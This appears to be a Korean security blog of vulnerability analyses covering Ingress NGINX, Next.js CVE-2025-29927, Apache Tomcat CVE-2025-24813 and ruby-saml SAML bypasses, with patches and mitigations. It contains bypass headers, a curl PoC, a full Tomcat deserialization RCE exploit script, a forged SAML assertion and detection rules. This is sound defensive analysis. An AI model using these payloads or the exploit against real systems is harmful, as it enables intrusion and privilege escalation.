1. Ingress NGINX Controller

- Ingress란 클러스터 외부에서 내부로 접근하는 요청들을 어떻게 처리할지 정의해둔 규칙들의 모음 [1][2][3][4]
- Ingress Controller란 Ingress 리소스에 정의된 규칙을 읽고, 해당 규칙에 따라 트래픽을 라우팅 [1][2][3][4]
Ingress NGINX Controller란 NGINX를 역방향 프록시 및 로드 밸런서로 사용하는 Kubernetes용 Ingress Controller [5][6]

2. 주요내용 [7]

- Ingress NGINX Controller의 구조적 설계 문제로 공격자가 악의적인 Ingress 객체를 전송하여 임의의 NGINX 설정을 주입할 수 있음

> 취약점 악용에 성공 시 클러스터 내 모든 시크릿 노출, 원격 코드 실행 등이 가능

 

- Admission Controller는 사용자의 요청을 변조(Mutate)검증(Validation)을 통해 요청의 승인 여부를 결정

> 기본적으로 인증 없이 누구나 접근 가능한 상태로 배포되어 네트워크를 통해 액세스 가능

※ 변조(Mutate) : 사용자의 요청을 사전 정의된 변형 규칙에 따라 요청을 변경

검증(Validation) : 요청이 기준에 맞는지 확인하여 해당 요청을 승인 또는 거절

 

- Admission Controller는 Admission Webhook Endpoint를 통해 Kubernetes API 서버와 통신

> AdmissionReview 구조로 통신

> 일반 적으로 Kubernetes API 서버만 AdmissionReview 요청을 보내야 하지만, Admission Controller는 누구나 접근 가능하기 때문에 임의의 AdmissionReview 요청을 전송할 수 있음

[사진 1] Admission Controller

 

- Ingress NGINX Controller는 AdmissionReview 요청을 처리할 때 템플릿 파일과 제공된 Ingress 객체를 기반으로 임시 NGINX 구성 파일을 생성

> 임시 파일 생성 후 nginx -t 명령을 사용해 임시 구성 파일의 유효성을 테스트

> 이때, 적절한 검증이 없어 조작된 Ingress 객체를 전송해 임의의 NGINX 구성을 삽입할 수 있음

[사진 2] nginx -t

2.1 취약점

2.1.1 CVE-2025-24514 [9]

- authreq 파서는 인증 관련 주석을 처리하는 역할을 수행

> 주석에는 URL을 포함하는 auth-url 필드를 설정해야 하며, 해당 값을 적절한 검증 없이 $externalAuth.URL에 포함

> ngnix -t 명령을 실행할 때 명령에 포함되어 실행

2.1.2 CVE-2025-24513 [10]

- 부적절한 입력 값 검증으로 Directory Traversal 공격이 가능

> 이를 통해 DoS 또는 제한된 비밀 객체 노출 발생 가능

2.1.3 CVE-2025-1097 [11]

- authtls 파서는 auth-tls-match-cn 주석을 CommonNameAnnotationValidator를 사용하여 필드 값을 검증

> auth-tls-match-cn 주석은 CN=으로 시작

> 이를 통해 임의의 코드 실행이 가능

2.1.4 CVE-2025-1098 [12]

- mirror-targetmirror-host Ingress 주석을 사용하여 nginx에 임의의 구성을 삽입할 수 있음

> 이를 통해 임의의 코드 실행이 가능

2.1.5 CVE-2025-1974 [13]

- 특정 조건 하에서 Pod Network에 액세스할 수 있는 인증되지 않은 공격자가 임의 코드 실행이 가능

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [14][15][16][17]

제품명 영향받는 버전 해결 버전
Ingress NGINX Controller 1.11.0 미만 1.11.5
1.11.0 이상 ~ 1.11.4 이하
1.12.0 1.12.1

 

- 추가 모니터링 및 필터 적용

> Admission Controller가 Kubernetes API 서버에서만 접근 가능하도록 접근 제한

> Admission Webhook Endpoint가 외부에 노출되지 않도록 설정

> Admission Controller 컴포넌트가 불필요할 경우 비활성화

> Helm을 사용하여 ingress-nginx를 설치한 경우 controller.admissionWebhooks.enabled=false로 설정하여 재설치
> 수동으로 ingress-nginx를 설치한 경우

① ValidatingWebhookConfiguration에서 ingress-nginx-admission 삭제

② ingress-ngin-controller 컨테이너의 Deployment 또는 Daemonset에서 '--validating-webhook' 인수 삭제

4. 참고

[1] https://kubernetes.io/ko/docs/concepts/services-networking/ingress/
[2] https://kubernetes.io/ko/docs/concepts/services-networking/ingress-controllers/
[3] https://somaz.tistory.com/120
[4] https://somaz.tistory.com/324
[5] https://github.com/kubernetes/ingress-nginx
[6] https://kubernetes.github.io/ingress-nginx/
[7] https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
[8] https://velog.io/@utcloud/k8s-Admission-Controller
[9] https://github.com/kubernetes/kubernetes/issues/131006
[10] https://github.com/kubernetes/kubernetes/issues/131005
[11] https://github.com/kubernetes/kubernetes/issues/131007
[12] https://github.com/kubernetes/kubernetes/issues/131008
[13] https://github.com/kubernetes/kubernetes/issues/131009
[14] https://kubernetes.github.io/ingress-nginx/deploy/upgrade/
[15] https://github.com/kubernetes/ingress-nginx/releases/tag/controller-v1.11.5
[16] https://github.com/kubernetes/ingress-nginx/releases/tag/controller-v1.12.1
[17] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71698&menuNo=205020

1. Next.js [1]

- 풀 스택 웹 애플리케이션을 구축하기 위한 React 기반의 오픈소스 자바 스크립트 프레임워크

2. CVE-2025-29927

[사진 1] CVE-2025-29927 [2]

- Next.js의 미들웨어 (Middleware)의 권한 검사를 우회할 수 있는 인증 우회 취약점 (CVSS: 9.1)

> 미들웨어 (Middleware)는 요청을 처리하는 과정에서 사용자 인증 및 권한 검사를 수행

> x-middleware-subrequest 헤더를 조작해 미들웨어 기반의 보안 검사 우회

영향받는 버전
Next.js
- 15.x < 15.2.3
- 14.x < 14.2.25
- 13.x < 13.5.9
- 12.x < 12.3.5

 

- 무한 루프를 방지하기 위해 x-middleware-subrequest 헤더 사용 [3][4]

① 사용자 요청에서 x-middleware-subrequest 헤더 추출

② ':'를 기준으로 분할하여 배열로 저장

③ 현재 실행 중인 미들웨어의 이름과 일치하는 요청이 몇 번 반복되었는지 계산 (depth)

④ 동일한 요청이 최대 재귀 깊이 (MAX_RECURSION_DEPTH) 보다 많은 경우 x-middleware-next 헤더를 1로 설정

> x-middleware-next 헤더는 현재 미들웨어를 중단하고 다음 미들웨어로 요청을 전달하는 헤더로 판단됨

...
export const run = withTaggedErrors(async function runWithTaggedErrors(params) {
  const runtime = await getRuntimeContext(params)
  const subreq = params.request.headers[`x-middleware-subrequest`] ----------------- 1
  const subrequests = typeof subreq === 'string' ? subreq.split(':') : [] ---------- 2

  const MAX_RECURSION_DEPTH = 5
  const depth = subrequests.reduce( ------------------------------------------------ 3
    (acc, curr) => (curr === params.name ? acc + 1 : acc),
    0
  )

  if (depth >= MAX_RECURSION_DEPTH) { ---------------------------------------------- 4
    return {
      waitUntil: Promise.resolve(),
      response: new runtime.context.Response(null, {
        headers: {
          'x-middleware-next': '1',
        },
      }),
    }
  }
  ...

 

- 동일한 미들웨어가 5번 이상 x-middleware-subrequest 헤더에 포함될 경우 ④의 과정을 통해 우회 가능

> 버전별로 미들웨어 파일의 이름과 위치가 다르기 때문에 악용 가능한 x-middleware-subrequest 헤더 값이 상이

버전 악성 요청 예시
~ 12.2 GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: pages/_middleware
12.2 ~ 13 GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: middleware
13 ~ GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
 
또는 

GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

 

- PoC 예시 [5]

curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

 

[사진 2] 악용 패킷 캡쳐

3. 대응방안

- 벤더사 제공 업데이트 적용 [6][7]

제품명 영향받는 버전 해결 버전
Next.js 15.x 15.2.3
14.x 14.2.25
13.x 13.5.9
12.x 12.3.5

 

- 업데이트 적용이 불가한 경우 x-middleware-subrequest 헤더가 포함된 외부 사용자 요청이 Next.js 애플리케이션에 도달하지 못하도록 차단 [8]

① Apche

>.htaccess 파일 설정 변경 : mod_headers 기능 설치 및 요청에 해당 헤더가 포함된 경우 삭제하도록 설정 [9]

<IfModule mod_headers.c>
RequestHeader unset x-middleware-subrequest
</IfModule>

 

② NGINX

> nginx.conf 파일 설정 변경 : proxy_set_header 지시문 활용

 server {
   listen 80;
   server_name your_domain.com;
   location / {
     proxy_set_header x-middleware-subrequest "";
   }
 }

 

③ Express.js

> JavaScript 소스 코드에 다음 지침을 추가

// Middleware to remove the x-middleware-subrequest header
 app.use((req, res, next) => {
   delete req.headers['x-middleware-subrequest'];
   next();
 });

 

- WAF에서 x-middleware-subrequest 헤더를 포함한 요청을 차단하도록 설정

 

- 탐지룰 설정

alert tcp any any -> any any (msg:"CVE-2025-29927 x-middleware-subrequest Detected"; flow:to_server,established; content:"x-middleware-subrequest|3A|"; http_header; pcre:"x-middleware-subrequest\s*:\s*(pages\/_middleware|middleware|src\/middleware)"; )

4. 참고

[1] https://nextjs.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-29927
[3] https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
[4] https://github.com/vercel/next.js/blob/eb883cdcfb22517e4babec6f38d3fe86961e2811/packages/next/src/server/web/sandbox/sandbox.ts#L94
[5] https://github.com/MuhammadWaseem29/CVE-2025-29927-POC
[6] https://nextjs.org/blog/cve-2025-29927
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71695&menuNo=205020
[8] https://jfrog.com/blog/cve-2025-29927-next-js-authorization-bypass/
[9] https://httpd.apache.org/docs/2.2/ko/mod/mod_headers.html#page-header
[10] https://www.boannews.com/media/view.asp?idx=136641&page=2&kind=1

1. CVE-2025-24813

[사진 1] CVE-2025-24813 [1]

- Apache Tomcat에서 발생하는 원격 코드 실행 취약점 (CVSS : 9.8)

> Partial PUT 기능과 기본 서블릿에 대한 쓰기 권한이 결합되어 발생

> 공격자는 취약점을 악용해 원격 코드 실행, 정보 유출 및 손상 등의 악성 행위를 수행할 수 있음

 

- 영향받는 버전

> Apache Tomcat 9.0.0.M1 ~ 9.0.98
> Apache Tomcat 10.1.0-M1 ~ 10.1.34
> Apache Tomcat 11.0.0-M1 ~ 11.0.2

 

- 취약점을 악용하기 위한 4가지의 전제 조건

> 다음 4가지 조건 모두를 만족해야 취약점이 발생

쓰기 가능한 Default Servlet

> Default 비활성화

부분 PUT (Partial PUT) 지원

> Default 활성화

파일 기반 세션 지속성

> 기본 위치에서 파일 기반 세션 지속성 사용

취약한 역직렬화 라이브러리 사용

> 역직렬화에 취약한 라이브러리 포함 

2. PoC

- docker를 활용해 취약한 tomcat 환경 구축 [2][3]

> tomcat 설정 변경

구분 설명
conf/web.xml - Default Servlet에 readonly 파라미터 추가 : 쓰기 가능하도록 설정
conf/context.xml - 파일 기반 세션 지속성 활성화

※ 참고 : 일부 분석 보고서에서는 다음과 같이 변경한 것으로 확인 [4]

※ docker 실행 중 버전 오류가 발생해 docker-compose.yml 내용 변경 (version 3.8 -> 3,3)

[사진 2] 정상 접근 확인

- 공개된 PoC를 활용해 공격 [5]

① 대상 서버로 PUT 요청을 보내 서버가 쓰기 가능한지 확인

> check_writable_servlet()를 사용하며 200 또는 201 응답을 반환할 경우 쓰기 가능한 것으로 판단

※ 200 : 서버가 요청을 정상적으로 처리하였음을 나타냄

※ 201 : 서버가 요청을 정상적으로 처리하였고, 자원이 생성되었음을 나타냄

② 쓰기 가능한 경우 역직렬화 페이로드 생성

③ 대상 서버에 Partial PUT 요청을 전송

> upload_and_verify_payload()를 사용하며, 409 응답일 경우 대상 URL로 GET 요청을 보내며 500 응답을 받은 경우 성공한 것으로 판단

※ 409 : 서버의 현재 상태와 요청이 충돌했음을 나타냄

※ 500 : 서버가 사용자의 요청을 처리하는 과정에서 예상하지 못한 오류로 요청을 완료하지 못함을 나타냄

업로드 파일 삭제

> remove_file()

import argparse
import os
import re
import requests
import subprocess
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

BANNER = """
 ██████╗██╗   ██╗███████╗    ██████╗ ██████╗ ██████╗ ██████╗     ██████╗ ██████╗ ███╗   ███╗ ██████╗ ██████╗████████╗    ██████╗  ██████╗███████╗
██╔════╝██║   ██║██╔────╝    ╚════██╗██╔══██╗██╔══██╗██╔══██╗    ██╔══██╗██╔══██╗████╗ ████║██╔════╝ ██╔══██╗╚══██╔══╝    ██╔══██╗██╔════╝██╔════╝
██║     ██║   ██║█████╗█████╗█████╔╝██████╔╝██████╔╝██║  ██║    ██████╔╝██████╔╝██╔████╔██║██║  ███╗██████╔╝   ██║█████╗██████╔╝██║     █████╗  
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔══██╗██╔══██╗██╔══██╗██║  ██║    ██╔══██╗██╔══██╗██║╚██╔╝██║██║   ██║██╔══██╗   ██║╚════╝██╔══██╗██║     ██╔══╝  
╚██████╗ ╚████╔╝ ███████╗    ██████╔╝██║  ██║██║  ██║██████╔╝    ██████╔╝██║  ██║██║ ╚═╝ ██║╚██████╔╝██║  ██║   ██║     ██║  ██║╚██████╗███████╗
 ╚═════╝  ╚═══╝  ╚══════╝    ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝     ╚═════╝ ╚═╝  ╚═╝╚═╝     ╚═╝ ╚═════╝ ╚═╝  ╚═╝   ╚═╝     ╚═╝  ╚═╝ ╚═════╝╚══════╝
"""

def remove_file(file_path):
    try:
        os.remove(file_path)
        print(f"[+] Temporary file removed: {file_path}")
    except OSError as e:
        print(f"[-] Error removing file: {str(e)}")

def check_writable_servlet(target_url, host, port, verify_ssl=True):
    check_file = f"{target_url}/check.txt"
    try:
        response = requests.put(
            check_file,
            headers={
                "Host": f"{host}:{port}",
                "Content-Length": "10000",
                "Content-Range": "bytes 0-1000/1200"
            },
            data="testdata",
            timeout=10,
            verify=verify_ssl
        )
        if response.status_code in [200, 201]:
            print(f"[+] Server is writable via PUT: {check_file}")
            return True
        else:
            print(f"[-] Server is not writable (HTTP {response.status_code})")
            return False
    except requests.RequestException as e:
        print(f"[-] Error during check: {str(e)}")
        return False

def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file):
    if not os.path.exists(ysoserial_path):
        print(f"[-] Error: {ysoserial_path} not found.")
        sys.exit(1)
    try:
        print(f"[*] Generating ysoserial payload for command: {command}")
        cmd = ["java", "-jar", ysoserial_path, gadget, f"cmd.exe /c {command}"]
        with open(payload_file, "wb") as f:
            subprocess.run(cmd, stdout=f, check=True)
        print(f"[+] Payload generated successfully: {payload_file}")
        return payload_file
    except (subprocess.CalledProcessError, FileNotFoundError) as e:
        print(f"[-] Error generating payload: {str(e)}")
        sys.exit(1)

def generate_java_payload(command, payload_file):
    payload_java = f"""
import java.io.IOException;
import java.io.PrintWriter;

public class Exploit {{
    static {{
        try {{
            String cmd = "{command}";
            java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
            String line;
            StringBuilder output = new StringBuilder();
            while ((line = reader.readLine()) != null) {{
                output.append(line).append("\\n");
            }}
            PrintWriter out = new PrintWriter(System.out);
            out.println(output.toString());
            out.flush();
        }} catch (IOException e) {{
            e.printStackTrace();
        }}
    }}
}}
"""
    try:
        print(f"[*] Generating Java payload for command: {command}")
        with open("Exploit.java", "w") as f:
            f.write(payload_java)
        subprocess.run(["javac", "Exploit.java"], check=True)
        subprocess.run(["jar", "cfe", payload_file, "Exploit", "Exploit.class"], check=True)
        remove_file("Exploit.java")
        remove_file("Exploit.class")
        print(f"[+] Java payload generated successfully: {payload_file}")
        return payload_file
    except subprocess.CalledProcessError as e:
        print(f"[-] Error generating Java payload: {str(e)}")
        sys.exit(1)

def upload_and_verify_payload(target_url, host, port, session_id, payload_file, verify_ssl=True):
    exploit_url = f"{target_url}/uploads/../sessions/{session_id}.session"
    try:
        with open(payload_file, "rb") as f:
            put_response = requests.put(
                exploit_url,
                headers={
                    "Host": f"{host}:{port}",
                    "Content-Length": "10000",
                    "Content-Range": "bytes 0-1000/1200"
                },
                data=f.read(),
                timeout=10,
                verify=verify_ssl
            )
        if put_response.status_code == 409:
            print(f"[+] Payload uploaded with status 409 (Conflict): {exploit_url}")
            get_response = requests.get(
                target_url,
                headers={"Cookie": "JSESSIONID=absholi7ly"},
                timeout=10,
                verify=verify_ssl
            )
            if get_response.status_code == 500:
                print(f"[+] Exploit succeeded! Server returned 500 after deserialization.")
                return True
            else:
                print(f"[-] Exploit failed. GET request returned HTTP {get_response.status_code}")
                return False
        else:
            print(f"[-] Payload upload failed: {exploit_url} (HTTP {put_response.status_code})")
            return False
    except requests.RequestException as e:
        print(f"[-] Error during upload/verification: {str(e)}")
        return False
    except FileNotFoundError:
        print(f"[-] Payload file not found: {payload_file}")
        return False

def get_session_id(target_url, verify_ssl=True):
    try:
        response = requests.get(f"{target_url}/index.jsp", timeout=10, verify=verify_ssl)
        if "JSESSIONID" in response.cookies:
            return response.cookies["JSESSIONID"]
        session_id = re.search(r"Session ID: (\w+)", response.text)
        if session_id:
            return session_id.group(1)
        else:
            print(f"[-] Session ID not found in response. Using default session ID: absholi7ly")
            return "absholi7ly"
    except requests.RequestException as e:
        print(f"[-] Error getting session ID: {str(e)}")
        sys.exit(1)

def check_target(target_url, command, ysoserial_path, gadget, payload_type, verify_ssl=True):
    host = target_url.split("://")[1].split(":")[0] if "://" in target_url else target_url.split(":")[0]
    port = target_url.split(":")[-1] if ":" in target_url.split("://")[-1] else "80" if "http://" in target_url else "443"

    session_id = get_session_id(target_url, verify_ssl)
    print(f"[*] Session ID: {session_id}")
    
    if check_writable_servlet(target_url, host, port, verify_ssl):
        payload_file = "payload.ser"
        if payload_type == "ysoserial":
            generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)
        elif payload_type == "java":
            generate_java_payload(command, payload_file)
        else:
            print(f"[-] Invalid payload type: {payload_type}")
            return
        
        if upload_and_verify_payload(target_url, host, port, session_id, payload_file, verify_ssl):
            print(f"[+] Target {target_url} is vulnerable to CVE-2025-24813!")
        else:
            print(f"[-] Target {target_url} does not appear vulnerable or exploit failed.")
        
        remove_file(payload_file)

def main():
    print(BANNER)
    parser = argparse.ArgumentParser(description="CVE-2025-24813 Apache Tomcat RCE Exploit")
    parser.add_argument("target", help="Target URL (e.g., http://localhost:8081 or https://example.com)")
    parser.add_argument("--command", default="calc.exe", help="Command to execute")
    parser.add_argument("--ysoserial", default="ysoserial.jar", help="Path to ysoserial.jar")
    parser.add_argument("--gadget", default="CommonsCollections6", help="ysoserial gadget chain")
    parser.add_argument("--payload_type", choices=["ysoserial", "java"], default="ysoserial", help="Payload type (ysoserial or java)")
    parser.add_argument("--no-ssl-verify", action="store_false", help="Disable SSL verification")
    args = parser.parse_args()

    check_target(args.target, args.command, args.ysoserial, args.gadget, args.payload_type, args.no_ssl_verify)

if __name__ == "__main__":
    main()

 

- PoC 실행 결과 Server is not writable 에러가 발생

> check.txt 파일이 대상 서버에 정상적으로 생성된 것을 확인할 수 있었음

[사진 3] Server is not writable 에러 발생
[사진 4] 공격 패킷 캡쳐 및 결과

3. 대응방안

- 벤더사 제공 업데이트 적용 [6][7][8][9][10]

제품명 영향받는 버전 해결 버전
Apache Tomcat  Apache Tomcat 9.0.0.M1 ~ 9.0.98 9.0.99
Apache Tomcat 10.1.0-M1 ~ 10.1.34 10.1.35
 Apache Tomcat 11.0.0-M1 ~ 11.0.2 11.0.3

 

- 쓰기 권한 비활성화 및 부분 PUT 비활성화

> 쓰기 권한 비활성화 : conf/web.xml에서 readonly 매개변수 true 설정

> 부분 PUT 비활성화 : allowPartialPut 매개변수 false 설정

[사진 5] conf/web.xml 중 allowPartialPut 관련 내용

- 탐지룰 적용 [11]

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET WEB_SPECIFIC_APPS Apache Tomcat Path Equivalence (CVE-2025-24813)"; flow:established,to_server; content:"PUT"; http_method; pcre:"/\x2f[^\x2f\x2e\s]*?\x2e\w+$/U"; content:"Content-Range|3a 20|"; http_header; fast_pattern; pcre:"/^\w+\s(?:(?:\d+|\x2a)?\x2d(?:\d+|\x2a)?|\x2a)\x2f(?:\d+|\x2a)?/R"; reference:url,lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq; reference:cve,2025-24813; classtype:web-application-attack; sid:2060801; rev:1; metadata:affected_product Apache_Tomcat, attack_target Server, created_at 2025_03_12, cve CVE_2025_24813, deployment Perimeter, deployment Internal, confidence High, signature_severity Major, tag Exploit, updated_at 2025_03_12, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-24813
[2] https://github.com/charis3306/CVE-2025-24813
[3] https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/9.0.98/
[4] https://attackerkb.com/topics/4GajxQH17l/cve-2025-24813
[5] https://github.com/absholi7ly/POC-CVE-2025-24813
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71687&menuNo=205020
[7] https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
[8] https://tomcat.apache.org/security-9.html
[9] https://tomcat.apache.org/security-10.html
[10] https://tomcat.apache.org/security-11.html
[11] https://asec.ahnlab.com/ko/86938/

1. GitLab [1]

- 소프트웨어 개발 및 협업을 위한 다양한 솔루션을 제공하는 웹 기반 DevOps 플랫폼
> 깃 저장소 관리, CI/CD, 이슈 추적, 보안성 테스트 등
> GitLab CE: Community Edition / GitLab EE: Enterprise Edition

2. 취약점

2.1 CVE-2025-25291 및 CVE-2025-25292

[사진 1] CVE-2025-25291
[사진 2] CVE-2025-25292

- 오픈소스 ruby-saml 라이브러리에서 REXML과 Nokogiri가 XML을 서로 다르게 파싱하여 발생하는 인증 우회 취약점 (CVSS: 9.3) [2][3]

> ruby-saml : Ruby 언어에서 SAML (Security Assertion Markup Language) Single Sign-On(SSO)를 구현할 수 있도록 도와주는 라이브러리 [4]

> ReXML, Nokogiri : Ruby 언어에서 XML을 파싱하고 조작할 때 사용하는 라이브러리 [5][6]

> XML 파싱의 차이로 인하여 공격자는 Signature Wrapping Attack을 통해 인증을 우회할 수 있음

영향받는 버전
- ruby-saml
< 1.12.4
>= 1.13.0, < 1.18.0

- Community Edition(CE) / Enterprise Edition(EE)
> 17.7.7
> 17.8.5
> 17.9.2

 

2.1 SAML (Security Assertion Markup Language) Single Sign-On(SSO)

- SAML : 인증 정보 제공자(Identity Provider, idP)와, 서비스 제공자(Service Provider, SP) 간의 인증 및 인가 데이터를 교환하기 위한 XML 기반의 표준 데이터 포맷

- SSO : 하나의 자격 증명으로 한 번만 로그인하여 여러 앱에 액세스할 수 있도록 해 주는 기술

 

[사진 3] 동작 과정 요약 [7]

단계 설명
서비스 요청 - 사용자가 서비스에 접근
> SP는 해당 유저의 인증 유무 확인 (Access Check)
SSO 서비스 이동 - 인증되지 않은 경우 SP는 SAMLRequest를 생성해 사용자에게 전송
> SP는 IDP는 직접 연결되지 않고, 사용자의 브라우저에서 SAMLRequest를 IDP로 리다이렉션
SSO 서비스 요청 - IDP는 SAMLRequest를 파싱하고 사용자 인증을 진행
SAML 응답 - 인증 성공 시 SAMLResponse를 생성하여 사용자의 브라우저로 전송
> SAMLResponse에는 SAMLAssertion (사용자의 인증 정보를 포함한 XML 문서)이 포함
> IDP는 웹 브라우저에 Session Cokkie를 설정하고 해당 정보는 브라우저에 캐싱
SAML 응답 전송 - 사용자는 SP의 ACS로 SAMLResponse를 POST
서비스 응답 - ACS는 SAMLResponse를 검증하고 유효한 경우 요청한 서비스로 사용자를 포워딩

 

[SAMLRequest 예시]
<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="req123">
  <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">sp.example.com</saml:Issuer>
  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <Reference URI="#req123">
        <DigestValue>req_digest</DigestValue>
      </Reference>
    </SignedInfo>
    <SignatureValue>req_signature</SignatureValue>
  </Signature>
</samlp:AuthnRequest>

[SAMLResponse 예시]
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="resp456">
  <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">idp.example.com</saml:Issuer>
  <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="assert789">
    <saml:Subject>
      <saml:NameID>user123</saml:NameID>
    </saml:Subject>
    <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
      <SignedInfo>
        <Reference URI="#assert789">
          <DigestValue>assert_digest</DigestValue>
        </Reference>
      </SignedInfo>
      <SignatureValue>assert_signature</SignatureValue>
    </Signature>
  </saml:Assertion>
  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <Reference URI="#resp456">
        <DigestValue>resp_digest</DigestValue>
      </Reference>
    </SignedInfo>
    <SignatureValue>resp_signature</SignatureValue>
  </Signature>
</samlp:Response>

 

2.2 Signature Wrapping Attack

- Assertion, Signature가 여러개일 경우, 순서가 다르게 들어갈 경우 제대로 처리하지 않을 수 있기 때문에 코드를 삽입하여 Rewrite 하는 공격 [8][9]

> XML 기반 시스템에서 디지털 서명 검증의 허점을 악용하여 서명 검증 통과 (인증 우회) 및 조작된 데이터 처리를 유발하는 공격

 

- 정상적인 경우 <Assertion ID="~">에 명시된 사용자 정보(abc123)를 <Reference URI="~">에서 찾아(#abc123) 검증

> 명시된 사용자에 대한 인증 정보가 <Reference URI="~">에 저장되어 있음

> <DigestValue> (메시지에 대한 해시 값)과 <SignatureValue> (메시지에 대한 전자서명)를 검증해 인증 여부 결정

 

<SAMLResponse>
  <Assertion ID="abc123">
    <User>user1</User>
    <Role>user</Role>
  </Assertion>

  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <CanonicalizationMethod Algorithm="..." />
      <SignatureMethod Algorithm="..." />
      
      <Reference URI="#abc123">
        <Transforms>
          <Transform Algorithm="..." />
        </Transforms>
        <DigestMethod Algorithm="..." />
        <DigestValue>"..."</DigestValue>
      </Reference>
      
    </SignedInfo>

    <SignatureValue>"..."</SignatureValue>
    <KeyInfo>...</KeyInfo>
  </Signature>
</SAMLResponse>

 

- 공격자는 조작된 Assertion 삽입해 인증 과정을 우회할 수 있음

① 조작된 Assertion 삽입 : <Assertion ID="attack123">에 User=admin, Role=admin 등 권한 상승된 정보 삽입

② SAML 서버 Signature 검증 : <Reference URI="#abc123">로 서명된 정상 Assertion만 검증 -> 검증 통과

③ 첫 번째 Assertion부터 처리 : 실제 처리 단계에서는 첫 번째 요소를 읽어 인증 정보 처리 -> attack123 참조

④ 권한 상승 : 조작된 Assertion의 admin 권한으로 접근 가능

⑤ 추가 악성 행위 : 계정 생성, 데이터 탈취 등 추가 악성 행위 수행

※ 기존 서명 검증 대상과 정보를 남겨두므로 인증 과정을 우회할 수 있음

 

<SAMLResponse>
  <Assertion ID="attack123">
    <User>admin</User>
    <Role>admin</Role>
  </Assertion>

  <Assertion ID="abc123">
    <User>user1</User>
    <Role>user</Role>
  </Assertion>

  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <CanonicalizationMethod Algorithm="..." />
      <SignatureMethod Algorithm="..." />
      
      <!-- Reference: 서명 대상 지정 -->
      <Reference URI="#abc123">
        <Transforms>
          <Transform Algorithm="..." />
        </Transforms>
        <DigestMethod Algorithm="..." />
        <DigestValue>base64-encoded-digest-value</DigestValue>
      </Reference>
      
    </SignedInfo>

    <SignatureValue>base64-encoded-signature-value</SignatureValue>
    <KeyInfo>...</KeyInfo>
  </Signature>
</SAMLResponse>

 

- 여러 유형이 존재 [10]

구분 설명
XSW1 기존 서명 뒤에 서명되지 않은 내용 추가
XSW2 기존 서명 앞에 서명되지 않은 내용 추가
XSW3 기존의 Assertion 앞에 Assertion의 서명되지 않은 내용 추가
XSW4 기존의 Assertion 다음에 Assertion의 서명되지 않은 내용 추가
XSW5 서명된 Assertion의 값을 변경하고 SAML 메시지의 끝에 서명이 제거 된 원본 Assertion 추가
XSW6 서명된 Assertion의 값을 변경하고 SAML 메시지의 끝에 서명이 제거 된 변조 Assertion 추가
XSW7 서명되지 않은 Extensions Block 추가
XSW8 서명이 제거 된 원래 어설 션을 포함하는 Object Block 추가

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [11][12]

> 업데이트 적용이 불가한 경우 GitLab 권고

① GitLab 2중 인증 활성화

② GitLab에서 SAML 이중 요인 우회 옵션을 허용하지 않음

③ 자동으로 생성된 새 사용자에 대한 관리자 승인 필요 설정 : gitlab_rails['omniauth_block_auto_created_users'] = true

취약점 제품명 영향받는 버전 해결버전
CVE-2025-25291
CVE-2025-25292
Community Edition(CE)
Enterprise Edition(EE)
< 17.7.7 17.7.7
< 17.8.5 17.8.5
< 17.9.2 17.9.2
ruby-saml < 1.12.4 1.12.4
>= 1.13.0, < 1.18.0 1.18.0

 

- Signature Wrapping 대응 방안

> Reference URI로 검증한 Assertion만 실제 처리에 사용

> Assertion 요소는 반드시 1개만 존재하도록 스키마 정의

> 최신 보안 라이브러리 사용

